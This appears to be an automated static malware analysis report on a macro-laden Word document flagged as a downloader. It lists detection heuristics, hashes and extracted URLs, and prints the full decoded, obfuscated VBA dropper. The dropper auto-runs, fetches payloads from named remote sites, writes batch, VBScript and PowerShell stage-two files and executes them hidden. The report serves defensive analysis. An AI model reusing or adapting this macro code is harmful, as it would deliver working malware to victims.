Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b3fe24abc84265d…

MALICIOUS

Office (OLE)

111.0 KB Created: 2015-06-29 11:46:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: e3ef3c21e780dd0b919cc8ae8da4c770 SHA-1: 8ada4e37a589c4d914773592c3926df034322622 SHA-256: 1b3fe24abc84265d6ddd2c0e8198f35c3c5dd4ab67adefcc08ffcf7da9f2c8ab
316 Risk Score

Heuristics 13

  • ClamAV: Doc.Downloader.Macro-27 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-27
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.houseofsultan.co.uk/wp-content/uploads/2015/06/kaka.txt Referenced by macro
    • http://www.houseofsultan.co.uk/wp-content/uploads/2015/06/6727156315273.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://www.houstonsbackyard.com/wp-content/uploads/2015/06/6727156315273.txtReferenced by macro
    • http://www.houstonsbackyard.com/wp-content/uploads/2015/06/kaka.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12183 bytes
SHA-256: 5eb3a84f381e7066398d7fba9bf10f58a7fc53c38f475cf24c3a115ca3113c0d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
78 of 194 identifiers look randomly generated (e.g. 'Tghafsdghqhjwgdhjqwgdjhqwgdqwd'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub JIwdjkqhdjkqhwjkqwhd_Open()
     
End Sub
Sub Njqhwkdjwqkdhqwk_Open()
     
End Sub
Sub Auto_Open()
    IUhquwhdjqwbdmnabsdas
    Sqoijwdqwjdkqwhd
End Sub
Sub IUhquwhdjqwbdmnabsdas()
    HJDJQWGDJQWGDJWQH = "nj1k2h jk32h1hk3j12hk3h12 jk1hkj3 123"
End Sub
Sub gqhdghHujhasdgashdjas()
    HUQIDWQIUD = "qjhwej 21gjh12e12ge 12jhge1k2ek12hekjgh1 2jhg"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    QUHDIQWDSA = "jqwhdukqwhduqjwh dkjqwhdj kqwhjk qwhdjkhqwkjdhqw kdhqw "
    Auto_Open
End Sub
 
Sub Sqoijwdqwjdkqwhd()

    Dim huwe, auwd As Integer, aabbb As Integer
    Dim HUHPPHPP As String, HBHJVJG As String
    HBHJVJG = "\"
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    
    
    YUGQYD = Ubqhwdhwqbd(24652) + ""
    HUHPPHPP = Chr(84) & "em" + "p"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module4.Goabc(HUHPPHPP) + HBHJVJG
    
    woweffect = 6
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajkhksdhf hjg23h1gjheg 12hge jh12 gejh12 e21g12gej t"
    JWIDJIAAA = ""
    HUYFEA = "j1h2jkdskjah djkashdas djkahdkahshdshdk dhashds"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qwdnbwqhjgd jhqwgdjhqwgd jhqwg djhqwg djqghjdhqg jhgqw"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = ".jpg"
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "http://"
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "baajshdjkas hajkhdjkah dkjsahkjash djkahask "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    TSTS = "." + "t" + "xt"
    CDDD = "6727156315273" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "www.houseofsultan.co.uk/w" + "p-content/uploads/2015/06/"
    STT2 = "www.houstonsbackyard.com/w" + "p-content/uploads/2015/06/"


PBIn = ATTH + STT1 + CDDD
    CONT = Module4.Jhuqwhdhsss(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module4.Jhuqwhdhsss(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module4.Jhuqwhdhsss(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = SPIC + "5751812" + GNG
    MSTAR2 = SPIC + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module4.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@e" + "cho off"
     Print #EFT, ":iqjdhqwduhqwi"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":huwdiqgugsgd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module4.WaitFor (1)
     
     NTH2 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
    NTH6 = Module6.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module6.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(62)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Module6.Moloko(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function

Private Static Function Log10(x)
HUQDWWQ = "qwhduqwhudiwq"
Log10 = Log(x) / Log(10#)
End Function










Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"

Attribute VB_Name = "Module4"

Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Jhuqwhdhsss(a As String)
Dim ygwdg As Integer, Tghafsdghqhjwgdhjqwgdjhqwgdqwd As Object
Dim ggFw As String
ggFw = a
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ)
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Send ""
Jhuqwhdhsss = Tghafsdghqhjwgdhjqwgdjhqwgdqwd.ResponseText
End Function









Attribute VB_Name = "Module5"

Attribute VB_Name = "Module6"

Public Function GHJgwqdjqgw(a As Variant, b)
JQDHKWQD = "qwkjdqwejqwhejk2 hjke2h1kj12h jkeh21k 21jk"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function


Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim jhwqduqhwjkqwhkjqwhdjkqw As Range, selRange As Range
Set jhwqduqhwjkqwhkjqwhdjkqw = ActiveDocument.Range
JKQHWDJKWQHDJKQWHDHDHD = "qwbjd qghwgqjdgq whjdg quwgdjhqg whjdgqw dgjwd "
QHJDJKQWHJKDHQWJKGDHSH = "ashdja gsjdhgas dhjqwdg q2hgj1hge j21gek j2eeee"
With jhwqduqhwjkqwhkjqwhdjkqw.Find
'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
.Text = dnuwhd
.MatchWholeWord = True
jhwqduqhwjkqwhkjqwhdjkqw.Find.Execute
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set selRange = ActiveDocument.Range
Dim wdsadwq As String
selRange.Start = jhwqduqhwjkqwhkjqwhdjkqw.End
.Text = b
.MatchWholeWord = True
.Execute
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseStart
selRange.End = jhwqduqhwjkqwhkjqwhdjkqw.Start

If (c = 1) Then
    selectedText = selRange.Delete
End If
If (c = 2) Then
    selRange.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

If (c = 3) Then
    With jhwqduqhwjkqwhkjqwhdjkqw.Find
    .Text = a
    .Replacement.Text = "  "
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function



Public Function Moloko(a, b, c)
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HAJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJDKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKAHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
Moloko = Mid(a, b, c)
JQDHQW = "qkjwdkqw"
 HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
End Function